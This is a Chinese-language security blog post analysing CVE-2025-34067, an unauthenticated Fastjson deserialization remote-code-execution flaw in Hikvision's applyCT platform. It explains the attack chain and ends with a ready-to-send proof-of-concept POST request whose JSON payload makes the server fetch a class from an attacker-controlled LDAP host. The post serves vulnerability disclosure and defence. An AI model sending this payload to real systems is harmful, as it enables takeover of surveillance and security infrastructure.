海康威视applyCT组件高危漏洞分析（CVE-2025-34067，CVSS 10.0）：基于Fastjson的未授权远程代码执行

原创于 2025-07-04 10:07:51 发布 · 1.7k 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#安全 #web安全

图片来源：PeiQi0

漏洞概况

海康威视（HIKVISION）广泛部署的安全管理平台applyCT（原HikCentral）近日曝出高危漏洞，编号为CVE-2025-34067（CVSS v4评分10.0）。该漏洞源于Fastjson库的反序列化缺陷，攻击者可在无需身份验证的情况下实现远程代码执行（RCE），危及大量监控基础设施安全。

受影响系统

applyCT是海康威视面向商业、政府和工业领域开发的集中式安全管理平台，用于大规模监控安防设备。其先进的分析功能和可扩展架构使其成为高安全等级环境的热门选择。

技术原理

漏洞存在于applyCT组件的/bic/ssoService/v1/applyCT接口中，由于使用了存在缺陷的Fastjson版本（Java JSON解析库），其"auto-type"特性允许动态加载Java类。当配置不当时，攻击者可构造恶意JSON对象实例化任意类，最终在后台系统执行任意代码。

具体攻击链如下：

攻击者向目标端点发送特制POST请求
恶意JSON载荷触发JdbcRowSetImpl类的反序列化
系统连接攻击者控制的LDAP服务器加载恶意类
实现远程代码执行

概念验证(PoC)载荷示例：

POST /bic/ssoService/v1/applyCT 
Content-Type: application/json
{
  "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://xxx.xxx.xxx.xxx/Basic/TomcatEcho",
    "autoCommit":true
  },
  "hfe4zyyzldp":"="
}